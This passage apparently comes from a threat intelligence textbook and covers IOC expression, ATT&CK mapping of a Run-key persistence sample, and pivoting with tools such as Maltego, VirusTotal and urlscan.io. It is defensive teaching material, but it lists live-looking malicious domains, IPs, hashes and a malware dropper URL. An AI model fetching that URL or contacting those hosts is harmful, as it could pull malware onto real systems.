					DOMAIN: IRC.BADGUY.AU

					FILE: WRITEFILE `C:WINDOWS\winboot.exe`

					PROCESS: PROCESSCREATE `winboot.exe`

					REGISTRY: REGSETVALUE `SOFTWARE\Microsoft\CurrentVersion\Run\Winloader` winboot.exe

			

			You can see in the expression of the file's execution IOCs that we have identified the Windows API function calls associated with the operation, as well as the result of the operation. If you read the last indicator associated with a registry IOC, then the way it is interpreted is that the function named RegSetValue was used to set a value in a registry key located at SOFTWARE\Microsoft\CurrentVersion\Run\Winloader, and the value stored in the key was winboot.exe. The key that had the value set was known to be in an autorun location and, therefore, determined to be a malicious action taken by the payload during execution.

			One thing of note is all file execution-based IOCs should always be aligned to a file hash. This will ensure that anyone interpreting your IOC expression will understand that these execution-based IOCs are derived from the execution of a specific file hash. So, in the example of IOCs expressed previously, this could look like the following:

			
					HASH: 7b0da639a2ad723ab73c08082a39562aa3a2d19 adb7472f1dbb354c5fd0b4c20	DOMAIN: IRC.BADGUY.AU
	FILE: WRITEFILE `C:WINDOWS\winboot.exe`
	PROCESS: PROCESSCREATE `winboot.exe`
	REGISTRY: REGSETVALUE `SOFTWARE\Microsoft\CurrentVersion\Run\Winloader` winboot.exe



			

			If interpreting this correctly, then the person reading the IOC expression should understand that the IOCs with indentation belong to the parent IOC, which is a file identified by a hash.

			The main takeaway from IOC expression is that the alignment of the data to an IOC type is the most important thing. The reason is that threat IOCs are known to be expressed in numerous different formats and there has not been an adopted standard within the community as to what threat expression should look like. Some organizations share a comma-separated values (CSV) file with the indicator information, while others may serve the indicators via JavaScript Object Notation (JSON) blobs in an attempt to implement automation that delivers and consumes. 

			However, the closest organization that has worked to standardize the expression format is the OASIS CTI Technical Committee, which has been responsible for producing the Structured Threat Information eXpression (STIX), the structured language for describing CTI information, and the Trusted Automated eXchange of Indicator Information (TAXII), the main transport mechanism for CTI represented in STIX. According to STIX's documentation, "Indicators convey specific Observable patterns combined with contextual information intended to represent artifacts and/or behaviors of interest within a cyber security context." More information about the OASIS CTI Technical Committee can be found at https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti.

			Now that you have a better understanding of threat expression and how it's used to express the context of a cyber event, let's move on to aligning IOCs with the TTPs that may be observed in the context of the cyber event. 

			Translating IOCs to TTPs

			During the execution of the suspicious payload in the dynamic analysis environment, we observed a registry value that was set in a suspicious location. We call it suspicious and not immediately malicious because we need to evaluate the intent of the payload's behavior in setting this key. After observing the creation of this registry key, mixed with other observed behaviors, we can only speculate that the technique was used to achieve persistence, hence, the intent of the behavior can be termed as malicious. This is one of the primary techniques that is used by threat actors to achieve persistence. A malware payload can simply add a program to a startup folder or reference it with a registry autorun key. This will cause the program to be executed by the operating system when the computer is booted up. This is an example of a technique that we reference when we talk about TTPs that the threat actor is using. 

			What has become the de facto standard that represents threat actor TTPs is the MITRE Corporation's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) framework. It is a knowledge base that documents threat actor tactics and techniques based on real-world observations. ATT&CK organizes techniques, such as the one we just introduced, into sets of tactics that attempt to provide context around the technique. Tactics in this framework represent the adversary's tactical objective for performing an action. The techniques represent how the adversary achieves a tactical objective by performing an action. In our example, the tactic may have been to achieve persistence in an organization's environment. The technique to accomplish this was through the establishment of the persistence mechanism that allowed the malware to continue to run, even after a hard reboot of the computer.

			The exact scenario we are describing is fully documented in the MITRE ATT&CK framework. For your reference, every tactic and technique can be referenced by unique identifiers. When referencing the persistence tactic, ATT&CK references this as TA0003: Persistence. According to ATT&CK's description of this tactic, "The adversary is trying to maintain their foothold. Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code." More information about this specific tactic can be found at https://attack.mitre.org/tactics/TA0003/.

			On the tactic page that describes persistence, the framework has identified all known techniques to achieve persistence, including the vehicle we have identified. Just like the tactics, the techniques can also be referenced by a unique identifier. In this instance, our persistence mechanism falls under the T1547: Boot or Logon Autostart Execution technique. The ATT&CK description for this technique is, "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems." More information about this specific technique can be found at https://attack.mitre.org/techniques/T1547/. If there happen to be multiple avenues for achieving one specific technique, then each of these approaches is documented as a sub-technique and is referenced by the technique's unique identifier, followed by a period, followed by the sub-technique's unique identifier. As an example, our specific technique is T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder. According to the ATT&CK documentation of this sub-technique, "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key." This is exactly what our malware sample has done. More information about this sub-technique can be found at https://attack.mitre.org/techniques/T1547/001/.

			Now that we've identified threat actor intent and the technique to achieve the tactic, we can easily add this to the threat expression for our sample:

			
					HASH: 7b0da639a2ad723ab73c08082a39562aa3a2d19 adb7472f1dbb354c5fd0b4c20	 TACTIC: TA0003: Persistence
	 TECHNIQUE: T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
	REGISTRY: REGSETVALUE `SOFTWARE\Microsoft\CurrentVersion\Run\Winloader` winboot.exe



			

			One thing to note is that, once you begin evaluating your IOCs for intent and begin identifying the TTPs used by the threat actors, you can begin to discern the threat actor group's behaviors. The ATT&CK framework has done an excellent job trying to document this for you. Each of the technique pages in the framework identifies procedural examples that align to threat actor groups or known software. While not stating attribution between this threat actor group and the identified sub-technique, we can clearly see documentation here that APT18 establishes persistence via the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key. 

			Important Note

			You may not always be able to initially identify the intent of a behavioral-based IOC immediately. The more research you do into operating systems' internals and the examination of a software's intent by creating indicators, the more familiar you will become with the documented techniques that ultimately lay out the threat actor's tactics. This skill is only grown with time and experience and should be started as early in your career as possible to grow the natural references between IOCs and their appropriate TTP alignment. 

			It is important to note that MITRE has been doing research on how to use the ATT&CK framework as a hunting platform for several years. They have published papers such as Finding Cyber Threats with ATT&CK-based Analytics. The paper's description states, "This paper presents a methodology for using the MITRE ATT&CK framework, a behavioral-based threat model, to identify relevant defensive sensors and build, test, and refine behavioral-based analytic detection capabilities using adversary emulation. This methodology can be applied to enhance enterprise network security through defensive gap analysis, endpoint security product evaluations, building and tuning behavioral analytics for a particular environment, and performing validation of defenses against a common threat model using a red team emulating known adversary behavior."

			This paper can specifically be found at https://www.mitre.org/publications/technical-papers/finding-cyber-threats-with-attck-based-analytics, and more information about MITRE ATT&CK can be found at https://attack.mitre.org/. 

			Hunting and identification signatures

			Being able to easily search through mountains of data is paramount for anyone performing threat pivoting or hunting. In order to query and pivot through datasets, there are several rules or signature types that can be leveraged. However, for the sake of brevity and what is considered standard for the industry, we'll more closely examine YARA in greater detail in Chapter 9, Technical Threat Analysis – Similarity Analysis.

			Pivot methods

			As we saw in Chapter 7, Technical Threat Analysis – Enrichment, it's good to think about performing pivots based on the capabilities of the attacker, specifically focusing on files, capabilities, tools, and infrastructure. While there are other attributes, data points, and capabilities to pivot from and on, for the sake of brevity, we will be focusing exclusively on file, capabilities, and infrastructure pivots due to the amount of intelligence that can be generated for analyzing both data types. 

			Malicious infrastructure pivots

			As we analyzed in Chapter 7, Technical Threat Analysis – Enrichment, there are several data sources available for analysis and enrichment: DNS, WHOIS, and PassiveTotal DNS data. We examined many data attributes in the last chapter that can be used to derive intelligence from. In the case of threat actor infrastructure, many of those same data points and attributes can be used to pivot and look for related malicious infrastructure. 

			Specifically, let's examine the following key high-level infrastructure data points, and their corresponding threat hunting and pivoting opportunity when examined:
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			As you can see, several good quick-win data points exist to pivot on. It's commonly recommended to examine all the pivots and data found in Chapter 7, Technical Threat Analysis – Enrichment, to best analyze and pivot on the malicious infrastructure. Ideally, the output of the pivots will result in one of the following:

			
					Related malicious infrastructure

					Related malicious files, tools, and threat actor capabilities 

					Additional and related threat actor malicious activity

					In some isolated cases, threat actor identity 

			

			Infrastructure pivots are often performed via a diverse set of free and paid-for services and tools, which we will examine more closely later in this chapter. Now that we've examined infrastructure pivots, let's move on to file pivots to best examine opportunities for threat hunting and pivoting on threat actor files and tools.

			Malicious file pivots

			As we discussed in the previous chapter, there are numerous static-based IOCs as well as behavioral-based IOCs that can be associated with a malicious file. While we tip-toed around several different IOC types, we wanted to offer a more complete list that could be used to pivot on. As a reminder, ensure that you understand the intent of some of these pivots, as they could potentially create false positives without appropriate context and uniqueness. 

			Let's examine the following key high-level file data points, and their corresponding threat hunting and pivoting opportunity when examined. Please keep in mind this is not an all-encompassing list, and these are intended to be some of the fastest pivots to likely uncover additional pivot points:
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			While this is not considered to be the holistic list of file-based IOCs, this list will keep you occupied and provide enough room for you to pivot from. Every security researcher will ultimately begin identifying other IOCs that they believe could be great pivot footholds for their research.

			Now that we discussed pivot identifiers, couplers and footholds, and malicious infrastructure and file pivots, let's move on to discuss common pivot and hunting tools and services, with some examples of rudimentary pivots.

			Pivot and hunting tools and services

			Remembering back to earlier in this chapter, we discussed different file and infrastructure threat hunting and pivoting opportunities. In this section, we're going to focus on how to pivot and hunt on those same opportunities using free and open source tools readily available to any analyst. All the tools we will cover in this section support free user accounts to perform hunting and pivoting, but many offer several tiers of paid registration, which we sometimes recommend. The tools we will touch upon are really only a small subset of the many free and great resources available online. Throughout this section, we're going to use the tools we examine to illustrate and show examples of rudimentary pivots. 

			Many of the tools mentioned in this section can be used for file and infrastructure pivots, and as such, we will focus on the tools that meet the following criteria:

			
					Are free 

					Contain a wide variety of data points

					Prove intelligence and data have been historically accurate

			

			In the following tool examination, we will demonstrate some of the tool's most useful functionality while focusing on key pivot footholds mentioned earlier in the chapter. 

			With that, let's start examining some of the best free tools and data sources for threat hunting and pivoting.

			Maltego

			Maltego is a tool made by Paterva that serves as a Swiss army knife for CTI analysts and those interested in performing broad link analysis, threat hunting, or pivoting. Maltego is a visual graphing tool that allows an analyst to perform link analysis, pivoting, and hunting based on the key pieces of information and data that we covered in Chapter 7, Technical Threat Analysis – Enrichment, and earlier in this chapter. 

			Due to the versatility of Maltego, most of the services we will cover in the following tools and services section will involve Maltego to some degree. Maltego offers several account types, with a free version being easily downloaded from Paterva's website.

			Maltego functions on the concept of Transforms, which can be custom-developed or downloaded from the Transform Hub. These Transforms facilitate connectivity to an outside data source or service, such as RiskIQ's PassiveTotal or AlienVault's Open Threat Exchange (OTX) feed. To interface with new Transforms, you can simply navigate to Maltego's Transform Hub and install the relevant services you wish to interact with. All that is typically needed is an API key and username generated from one of the many services we'll be discussing: 
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			Figure 8.2 – Maltego Transform Hub

			Additionally, Maltego leverages a data type called entities that are custom developed by the Transform providers. These entities are placed on a graph during an investigation. Entities can range across a wide variety of data points and indicator types, such as IP addresses, URLs, domains, file hashes, and registrant first and last names. The entity type is quite diverse due to Maltego's support of custom-developed Transforms and entities. 

			Maltego's power truly lies in its capability to perform analysis and correlation across several diverse datasets. Now that we've examined some core functionality of Maltego, let's look at an additional free threat intelligence hunting and pivoting source: AlienVault's OTX platform.

			AlienVault OTX

			AlienVault OTX is a platform that enables the ability to query, browse, and filter on threat intelligence collected and organized by AT&T's AlienVault. Delivered via several means, AlienVault OTX can be accessed in a few ways, including Application Programming Interface (API), web UI, or Maltego Transforms:
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			Figure 8.3 – AlienVault OTX web UI

			Additionally, AlienVault's OTX platform supports and tracks a wide array of data and types of intelligence, including information security blogs, malware hashes, and malicious infrastructure indicators. One of the best ways to interface with AlienVault's OTX system is via Maltego. This provides structured link analysis between threat activity that help define and structure campaigns and threat actor activity:
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			Figure 8.4 – AlienVault OTX Maltego Transforms

			Specifically, AlienVault's Transforms support many pivots on both malicious infrastructure and malware, which we will be focusing on in this book. The Maltego Transforms enable specific pivots of opportunity, as follows:

			
					Infrastructure pivots of interest:	Domain to IP address
	Domain to banners
	Domain to URLs
	Domain to subdomains
	Domain to DNS records
	Domain to WHOIS information
	Domain to Passive DNS information
	Domain to malware hashes (likely to be a command-and-control infrastructure)



					File pivots of interest:	To Other Hashes: This specifically looks for other related hashes across AlienVault's vast intelligence repository.
	Search Pulses: This specific search looks across all AlienVault pulse information for related publications or intelligence. 



			

			Now, let's look at an example of using AlienVault's OTX in Maltego.

			In this example, let's act as though we're a threat analyst looking for malicious traffic in network logs residing in a Security Information and Event Management (SIEM). The analyst at this point may want to analyze and pivot on the data previously identified looking for coupler and identifier opportunities, but now the analyst wants to use AlienVault's OTX Transforms to identify any possible malware or related activity. The analyst identifies a domain of interest: windows-several-update.com.

			The analyst could first run the To Malware Hashes Transform to identify any other malware, possibly using this infrastructure as a command-and-control server or as a dropper location:
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			Figure 8.5 – AlienVault To Malware Hashes Transform

			In this case, the analyst was able to determine that several malware hashes have leveraged this IP address in some capacity. At this point, we could consider the malware hashes to be a coupler, primarily because we can now analyze those malware families and pivot from them. Now, the analyst could further understand the malware family in addition to any public publications that may indicate the source of the attack.

			Most times an analyst identifies an IP address as part of a possible investigation, they should consider running Passive Domain Name System (PDNS) queries against that IP address. In this case, we can quickly and easily leverage AlienVault's Passive DNS To DNS Records Transform to quickly and easily see PDNS records:
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			Figure 8.6 – AlienVault To DNS Records Transform

			The analyst could then attempt to identify any additional correlation points off the newly identified IP addresses, such as identifying any malware leveraging those IP addresses. In this case, the analyst could run the To Malware Hashes Transform again on the IP addresses to identify any possible overlaps:

			
				
					[image: Figure 8.7 – AlienVault To Malware Hashes Transform

]
				

			

			Figure 8.7 – AlienVault To Malware Hashes Transform

			Based on the outcomes of the previous Transform executions, the analyst could use the Search Pulses Transform, which will look through AlienVault's data for postings related to the hashes the SOC analyst identified.

			As we can see, at this point, the analyst has a good idea that the activity witnessed from the IP address and the PDNS results is likely part of the cybercrime group known as TA505 with related malware samples. While this is not a perfect attribution, this activity can certainly now align the analyst on what else to hunt for, such as related TA505 activity and indicators. 

			Now that we've examined AlienVault and some of its capabilities, let's continue examining infrastructure and files by looking at urlscan.io.

			urlscan.io

			urlscan.io, as mentioned throughout the book, is a sandbox that has several pieces of functionality, but notably, urlscan.io scans and visits websites to crawl them for information and data, often much of which is useful for threat intelligence analysts. As per urlscan.io's own web page, "When a URL is submitted to urlscan.io, an automated process will browse to the URL like a regular user and record the activity that this page navigation creates. This includes the domains and IPs contacted, the resources (JavaScript, CSS, etc) requested from those domains, as well as additional information about the page itself. urlscan.io will take a screenshot of the page, record the DOM content, JavaScript global variables, cookies created by the page, and a myriad of other observations."

			While urlscan.io does not have a Maltego Transform, its web UI is easy to use, and the accounts are free to register. Since urlscan.io is so easy to interpret, let's jump straight into an example to show the power of such a tool. 

			In this example, let's imagine an incident responder finds an infected host with communication going to an IP address: 45.9.148.108. The incident responder wants to investigate this IP address closer to better determine its capability of being a coupler and to ultimately find related infrastructure to hunt for across the network. Additionally, the responder wants to feed any indicators that are found to the respective teams for proactive blocking.

			At this point, the responder decides to put the IP address into urlscan.io:
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			Figure 8.8 – urlscan.io results for 45.9.148.108

			Using urlscan.io, the responder can see some domains of interest registered to the IP address with two of specific note, teamtnt.red and chasebank.ru. Diving deeper with urlscan.io, the responder files several directories of interest, which the responder may investigate further. The responder puts the teamtnt.red domain into urlscan.io first, to which they find a new directory of interest, /scripte/, that may give additional clues to investigate:
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			Figure 8.9 – urlscan.io results for teamtnt.red

			Being an astute incident responder, they find a directory of interest, /scripte/, that may indicate more tools to hunt for through the compromised environment. The responder decides to leverage proper Operational Security (OPSEC) to visit the directory to see if there are additional files for access:
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			Figure 8.10 – Responder visiting the interesting directory

			After visiting the directory using a virtual private network (VPN), a virtual machine, and other safely approved OPSEC procedures, the responder quickly realizes that the files hosted on that domain are indeed malicious and should be hunted for throughout the environment:
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			Figure 8.11 – Malicious tool hosted on teamtnt.red

			Ultimately, the responder could then send these file hashes and artifacts to the organizational threat hunting team, who then hunts and identifies these additional tools being used on other compromised hosts. 

			Now, after seeing this example, it's easy to see how a single thread examined in detail can yield additional intelligence value by identifying tools that were unidentified in the environment being used. Let's continue examining different tools by looking at Hybrid Analysis.

			Hybrid Analysis

			Hybrid Analysis is a free URL, domain and file sandbox, and malware analysis service. Hybrid Analysis performs automated static and dynamic analysis on the files to help possibly determine the file's verdict and to derive intelligence based on that functionality. 

			Outside of the great functionality provided by Hybrid Analysis, it is also a great collection, pivoting, and threat hunting platform. Hybrid Analysis provides the functionality of YARA searching across the Hybrid Analysis datasets, which we will cover in more detail later in this chapter. 

			Let's examine some of the more useful and free resources available via Hybrid Analysis.

			String search

			String search is a functionality that lets the analyst or researcher search across Hybrid Analysis datasets for specific strings. This functionality can be useful, especially when wanting to look for related malware families that may share the same string within the file. 

			YARA search

			YARA search is another great resource in Hybrid Analysis. This gives the analyst the capability to run a YARA rule against a Hybrid Analysis dataset, looking for any relevant files that match the logic of the YARA rule. 

			While we will cover YARA rules in greater detail in Chapter 9, Technical Threat Analysis – Similarity Analysis, it's important to remember that this functionality exists when needing to run YARA rules against a large corpus of malware samples:
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			Figure 8.12 – YARA rule searching within Hybrid Analysis

			The YARA search functionality enables threat hunters to look for and identify related files to continue threat hunting throughout the organization, which could then be passed to the incident responders and SOC for proactive hunting and blocking. 

			Report search

			Report search gives analysts and researchers the capability to perform basic and advanced searches across Hybrid Analysis datasets. At the time of writing, the advanced search gives access to a dataset of over 15 million indicators. 

			This functionality allows an incident responder to look for specific related filenames, as an example. This functionality could also enable a threat researcher to accurately zero in on a specific malware family based on the verdict, file type, and filename, for example. Additionally, the capability to perform advanced searches exists in Hybrid Analysis, where the researcher or analyst can query based on many different attributes, including file type and verdict. An example of the advanced search interface can be seen in Figure 8.13:
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			Figure 8.13 – Advanced Search in Hybrid Analysis

			Now, let's examine an example of using Hybrid Analysis in an example of pivoting.

			In this case, the SOC identifies a possibly malicious file propagating throughout a couple of infected endpoints. The file (a509d8acbbd9f56d3c1f6ee699761ba3d0f 3fb47a0d1c6504e4e7944c98bb6e1) is passed to the threat hunting team to pivot, with the motivation of looking for additional related files that may also be involved in this activity. 

			The threat hunter performs a search in Hybrid Analysis, to which they can get a quick viewpoint into the file's functionality, at least from a high level:
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			Figure 8.14 – Hybrid Analysis results for file

			A closer inspection of the file shows there are some interesting artifacts. First, there are six domains that the malware sample communicates with. Second, there are some interesting strings that are unique, and could possibly be pivoted on. Either of those identifiers could be used as a coupler or as a possible pivot foothold. 

			The analyst decides to look closer at the domains, with one specific domain being of interest, stats.onetrust.digital. Pivoting in Hybrid Analysis on the domain shows one additional sample of interest, 9188a061f6c59b9358fc15da09c8c55178 c98401f6b08804e7ad7c0df529a9a3:
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			Figure 8.15 – Hybrid Analysis results for samples communicating to malicious infrastructure

			After identifying this sample, which is likely related, the threat hunter could send the newly identified couplers and identifiers to the SOC for proactive blocking and monitoring, as an example. 

			The threat hunter then decides to pivot on strings contained within the original file. Within the malware, there's an interesting and possibly unique string that could be further pivoted on, Service Pack 1 Build 7601. Pivoting on this string, while somewhat broad, shows possible related malicious files that the threat hunter could investigate further or pass over to the SOC or incident responders for further action:
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			Figure 8.16 – Search results for string search

			Simply using one tool to perform pivots is not usually a holistic approach for conducting threat hunting and pivoting. However, you can quickly see the power of Hybrid Analysis when viewed individually through the lens of a single investigation tool. Imagine taking these indicators, identifiers, and couplers and using other tools that we've already discussed!

			Now that we've covered Hybrid Analysis, let's look at our next tool, VirusTotal. 

			VirusTotal graphing/hunting

			VirusTotal is a repository of malware that is user-submitted and allows for easy anti-virus scanning and searching. VirusTotal allows users to submit files to the service, to which VirusTotal will scan across over 70 antivirus engines, giving details and verdicts on the submitted files. The results can be easily interpreted by any analyst, and includes items such as detection name, corresponding detection engines and their results, file signers, and basic static reverse engineering functionalities such as viewing strings:
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			Figure 8.17 – VirusTotal results for a likely-malicious file

			VirusTotal has several licensing and registration models, including a free registration tier. The free tier, while quite limited in functionality, still has some good capabilities to be aware of, which we will discuss. Additionally, there are some Enterprise components of VirusTotal to pay attention to, specifically the diverse queries that can be performed and the graphing function. 

			The free registration of VirusTotal, while useful, is not as functional as the Enterprise license. The free version will essentially allow file and single artifact inspection and details, but will not provide pivoting opportunities, such as pivoting on import hash. While limited in functionality, the free account registration can prove valuable when trying to determine the maliciousness of files and find those linked examples.

			VirusTotal Enterprise supports a diverse set of functionalities, and we would be remiss if we didn't mention some of the core features, specifically the advanced search functionality. One of the core pieces of functionality of VirusTotal Enterprise to be aware of includes the ability to leverage queries to search across VirusTotal data. 

			There are several good examples of using VirusTotal Enterprise's querying, including the following:
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			While VirusTotal's advanced querying functions exist only for Enterprise users, its functionality enables researchers, responders, and analysts the capability to threat hunt, pivot, and enrich threat intelligence in a variety of ways and formats.

			Specifically of note in the free tier of VirusTotal are multiple pieces of data and information, such as behavior, details, and relations, which all help display the basic functionality of the file. As you can see in the following screenshot, VirusTotal has identified network connections performed by the malware sample we examined in the last section:
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			Figure 8.18 – VirusTotal Behavior tab results

			VirusTotal also supports a very convenient graphing functionality. While not as robust as a tool such as Maltego, native graphing support within VirusTotal is great for getting a birds-eye view into the artifact and its relations being examined, and it can be accessed with VirusTotal's free account registration:
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			Figure 8.19 – VirusTotal graphing function

			The VirusTotal graphing function supports connecting nodes or related activity based on infrastructure and related files, for example. While not a foolproof way of identifying related activity, using the graphing functionality is a quick way to understand what kinds of related couplers and artifacts exist that could be used for proactive alerting and blocking. 

			Let's examine the free account of VirusTotal with an example.

			In this example, let's act as though a forensic analyst has identified a file on an endpoint while analyzing a memory dump. The file, named calcme.exe, and referenced by it's hash as 9188a061f6c59b9358fc15da09c8c55178c98401f6 b08804e7ad7c0df529a9a3 at first glance appears malicious just simply by looking at the detection score:
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			Figure 8.20 – VirusTotal results for the malicious file

			While not a perfect indicator of maliciousness, the detection score can give you a decent gut feel of maliciousness with little effort. Continuing on, as the analyst continues looking into the file, they then look closer at the COMMUNITY tab of the sample, which shows that someone in the community had witnessed the file dropped from an URL, https://pozdravlenie.xyz/file/file43.exe:
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			Figure 8.21 – VirusTotal COMMUNITY tab details

			At this point, the analyst wants to verify this URL dropped the file so they can proactively block that domain in their respective security products. The analyst proceeds to look at any relations that exist under the RELATIONS tab in VirusTotal, to which they note two graphs of interest, meaning someone else in the community was possibly investigating this cluster of activity:
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			Figure 8.22 – VirusTotal RELATIONS tab details

			Examining the Investigation 1 graph can yield interesting results, including identifying additional infrastructure and files, and the graph data can also conclude that the possible dropper URL is in fact malicious, and did indeed drop the previously identified file at some point:
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			Figure 8.23 – VirusTotal community Investigation 1 graph

			Even with most of VirusTotal's powerful search functionality existing in Enterprise accounts, analysts using the free accounts can still leverage its vast repository of data and intelligence related to files and infrastructure to perform rudimentary threat hunting, pivoting, and secondary validation to proactively block and alert in organizational security technology. 

			Now that we've looked at the versatility of VirusTotal, let's look closer at another industry-recognized tool, PassiveTotal. 

			RiskIQ PassiveTotal

			RiskIQ is a company that provides a service called PassiveTotal that consolidates large sets of data from the internet into a single platform. It is accessible via a web UI, API, and Maltego Transforms. PassiveTotal focuses on displaying and presenting infrastructure data related to domains, IPs, and URLs. This includes DNS, WHOIS, and SSL certificate data:
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			Figure 8.24 – RiskIQ main web UI

			As previously mentioned, RiskIQ has several ways to interact with PassiveTotal, and in this case, it's often easier and faster to use the Maltego Transforms:
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			Figure 8.25 – RiskIQ Maltego Transforms

			There are several sets of Transforms supported by PassiveTotal, including getting associated malware samples with infrastructure, pulling Open Sourced Intelligence (OSINT) details, and Passive DNS and WHOIS information, as examples.

			Let's examine RiskIQ in more detail using an example of a threat analyst who gets passed as an indicator from the SOC. The SOC witnessed a compromised endpoint communicating out to a domain, airbusocean.com. The threat hunter decides to put the domain into RiskIQ to see what can be unearthed:
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			Figure 8.26 – RiskIQ domain query

			The threat analyst quickly realizes that the IP address on which the domain is hosted (63.250.44.53) could be pivoted on. Looking closer, the analyst finds several hundred additional domains that could be looked at further. Closer pivoting on each of the domains does in fact confirm maliciousness, not only by hosts communicating to that domain but also from an FBI and Cybersecurity and Infrastructure Security Agency (CISA) advisory AA21-200A (https://us-cert.cisa.gov/ncas/alerts/aa21-200a):
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			Figure 8.27 – RiskIQ data from hosted IP address pivot

			While RiskIQ is not an all-in-one solution for infrastructure intelligence, it's certainly a resource to leverage for WHOIS, DNS, and Passive DNS data, even though their free tier registration is quite limited in nature.

			Summary

			In this chapter, we introduced you to the concept of using the data that you had previously enriched as a data point to hunt and pivot for new threat intelligence. We started off by discussing the motivation for hunting and pivoting, introduced you to hunting and pivoting methods, and introduced you to the concept of pivot identifiers, couplers, and footholds. Then, we discussed the malicious data points that could be used to pivot on for both network infrastructure as well as files. Finally, we wrapped the chapter up by discussing several free tools and services that can currently be used to get started right away.

			In the next chapter, we will be introducing the concepts of grouping and clustering similar observables based on corresponding attributes. An example of this is clustering together collected malware samples that have shared mutex strings. The next chapter will define both grouping and clustering, and the roles they play in threat intelligence. Should be fun!

		

	
		
			Chapter 9: Technical Threat Analysis – Similarity Analysis

			Every day, a growing number of new and variant malware families emerge across the globe. To reduce the amount of overhead it takes to analyze individual malware families and organize and identify clusters of malicious activity, security researchers often apply techniques for finding malware and infrastructure similarities by utilizing techniques that group similarities together. In this chapter, we will be focusing on malware relationship analysis, specifically to help identify malware intrusion sets that are used in threat campaigns and are being pitted against organizations every day. 

			Fundamentally, analyzing the similarity between malware and its malicious infrastructure turns seemingly disparate datasets into valuable threat intelligence. This similarity analysis can be done in a litany of different ways, with many options developed to assist organizations. Still residing in the third phase of the intelligence life cycle, analysis, and often considered a semi-advanced subtopic of threat intelligence, similarity analysis can provide analysts with valuable information to identify campaigns that leverage specific domains and malware files to help proactively block cyberattacks, such as identifying and blocking clusters of the same ransomware family that have been identified as part of similarity analysis activities.

			A mixture of data science, gut feeling, and pattern detection, similarity analysis is the core concept that we can apply to malware that helps combine indicators of compromise and artifacts. While this isn't meant to be a data science chapter, overlapping concepts related to code and infrastructure clustering and analysis will be covered, as well as the tools that are commonly utilized.

			In this chapter, we're going to cover the following topics:

			
					The motivations behind similarity analysis

					Graph theory with similarity groups

					Similarity grouping tools

					Hashing and fingerprinting tools

			

			The motivations behind similarity analysis

			In the previous chapter, we spent a lot of time focusing on identifying artifact and indicator information that we could utilize to hunt and pivot on to identify relationships between files and their infrastructure. As you begin hunting and pivoting to discover new related information, it's important to utilize visualization tools as you start grouping what you've discovered from the files and infrastructure together. Visualization tools will help you manage the dataset of related information and allow researchers to understand connections between events and the infrastructures where these events occur.

			Additionally, it is important to understand that not just the observed artifacts and indicators from your hunting and pivoting processes are used to cluster observations behavior. You can easily begin utilizing computational processes to generate new artifacts that also can be used to create relationships among files, artifacts, and indicators.

			Before we can fully dive into some of the concepts related to similarity analysis, we should examine similarity grouping.

			What is similarity grouping?

			We won't confuse you by introducing complex math and computer science theory, so we're going to attempt to break out some of these higher-level theories into practical cyber threat events while utilizing some of the jargon and information we've already shared with you.

			Similarity grouping is when you create an edge-node-based relationship to visualize the connections between your discovered data. In the spirit of a cyber threat event, you can begin to think of any artifact or indicator that is discovered during hunting and pivoting as a node. Nodes are the artifacts and indicators. The edge representation is the relationship or the connections between the nodes. The following diagram should help you understand this:
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			Figure 9.1 – Edge-node graph with indicators

			The preceding diagram shows the direct relationship that we identified in Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting. As you may recall, we discussed that while a filename was an indicator, it did not represent the file's uniqueness and that a file's algorithmic hash should be used as a unique identifier. In this instance, our graph has identified two nodes, which are represented by the indicators, and a relationship, which has been represented by the edge.

			A group of nodes with their relationships represented by edges allows us to create a similarity group. A similarity group, also sometimes referred to as a graph, visualizes relationship information that's specific to your operational investigation. 

			Similarity groups are often used to represent that a threat is being investigated. However, the real power exists when nodes in multiple graphs have been identified, allowing the information to be deduplicated, essentially growing your investigation by merging the graphs. Now that you have a basic understanding of similarity groups, let's expand on the concept by introducing you to some concepts of graph theory.

			Graph theory with similarity groups

			If today is your first foray into discrete mathematics, no worries! Computer science loves to borrow from other disciplines and we've stolen these concepts from the mathematics department! We're going to explore all these concepts using what we know about cyber threat intelligence to make it easier for you to digest. Now that we know that our graph represents how we investigate a threat and that we have used our hunting and pivoting methods to create a relationship between the indicators in a node-edge graph, we will now introduce you to some concepts about relationships that can be applied to our similarity groupings. However, before we dive in, you're going to find that the graphs that represent your operational investigations are going to be complex – more complex than what will be shown in this chapter. We've decided to keep our data representation simple so that we can introduce you to the concepts we wanted to convey easily without confusion. The first concept we are going to introduce is direction.

			Direction

			There are two types of graphs, ones where data representation identifies relationships such as the ones in Figure 9.1 and Figure 9.2, and others where data is represented with a flow between nodes. These two graph types are called undirected and directed graphs in graph theory. The largest differentiator between the two and the easiest way to identify and classify them is the behavior of the edge. In undirected graphs, nodes can be connected by edges in any way possible and the edge does not represent any direction or flow of data. The following is an example of an undirected graph:
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			Figure 9.2 – Example of an undirected graph

			Here, you can see that we have built a relationship structure based on observed social interaction. This is called a social network graph and the nodes represent actor identities, while the edges dictate an observed social interaction between the actors. Building out a social network graph is extremely helpful when you're gathering intelligence about a community, such as a dark forum, or even mapping out relationships on a social media platform, such as Facebook.

			Furthermore, undirected graphs can be enhanced by identifying an attribute for the edge that dictates the relationship between the two nodes. The following is a very simple example:
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			Figure 9.3 – An edge-defined attribute identifying a relationship

			Here, the file that's been identified as malware.exe has a hash that's been identified by the value in the node. Applying attributes to the edge is not limited to undirected graphs as the same concept can be applied to any graph.

			While undirected graphs are great at showing a relationship between actors, with no representation of the flow, all we have is a relationship. It can be built upon forever and expanded so that there are additional relationships between the nodes and edges. It's only when we introduce the concept of a flow between structures that we can begin to introduce more complex concepts to the graph structure.

			In a directed graph, two types of data flow are represented on the edge – one where data representation only flows in one direction, and one where data representation flows in either direction. The following diagram shows an example of both:
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			Figure 9.4 – Undirected and directed graphs showing a data flow

